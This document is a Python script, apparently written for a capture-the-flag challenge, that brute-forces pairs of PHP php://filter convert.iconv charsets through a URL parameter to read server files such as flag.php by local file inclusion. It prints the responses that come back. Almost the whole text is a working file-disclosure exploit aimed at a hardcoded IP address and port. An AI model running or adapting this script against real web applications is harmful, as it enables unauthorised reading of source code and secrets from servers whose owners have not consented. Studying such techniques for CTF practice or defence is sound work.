1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| import argparse flag='''' @@@@ @@ @@ @@@@ @@@@ @@@@@ @@@@ @@@@ @@@@ @@@@@ @@ @@ @@ @@@@@ @@ @@ @@@@@ @@@@@ @@@@@ @@@@@ @@@@@ @@@@@ @@@@@ @@ @@ @@ @@ @@ @@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@ @@ @@ @@ @@ @@@@@ @@@@ @@@@ @@@@ @@@@@ @@ @@ @@ @@@@ @@ @@ @@ @@ @@@@@ @@@@ @@@@ @@@@ @@@@@ @@ @@ @@ @@ @@ @@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@ @@@@@@ @@@@@ @@@@@ @@@@@ @@@@@ @@@@@ @@@@@ @@ @@@@@@ @@@@ @@@@ @@@@ @@@@ @@@@ @@@@@ @@@@ @@@@ @@@@ @@ @@@@ @@@@ ''' charsets = [ "UCS-4*", "UCS-4BE", "UCS-4LE*", "UCS-2", "UCS-2BE", "UCS-2LE", "UTF-32*", "UTF-32BE*", "UTF-32LE*", "UTF-16*", "UTF-16BE*", "UTF-16LE*", "UTF-7", "UTF7-IMAP", "UTF-8*", "ASCII*", "EUC-JP*", "SJIS*", "eucJP-win*", "SJIS-win*", "ISO-2022-JP", "ISO-2022-JP-MS", "CP932", "CP51932", "BASE64" ]
parser = argparse.ArgumentParser(description='Process some parameters.')
parser.add_argument('--url', type=str, default='http://61.147.171.105:62409/', help='The base URL, e.g., http://61.147.171.105:62409/') parser.add_argument('--char', type=str, required=True, help='Parameter name, e.g., filename') parser.add_argument('--file', type=str, required=True, help='The file you want to read, e.g., flag.php') args = parser.parse_args() url = args.url+'?' char = args.char you_want_to_read = args.file
maxlen=1160 for i in range(len(charsets)): for j in range(len(charsets)): if i==j: continue key1, key2 = charsets[i],charsets[j] payload=f'{url}{char}=php://filter//convert.iconv.{key1}.{key2}/resource={you_want_to_read}' import requests re=requests.get(payload) if len(re.text)>maxlen: maxlen=len(re.text) print(re.text) print(flag)
|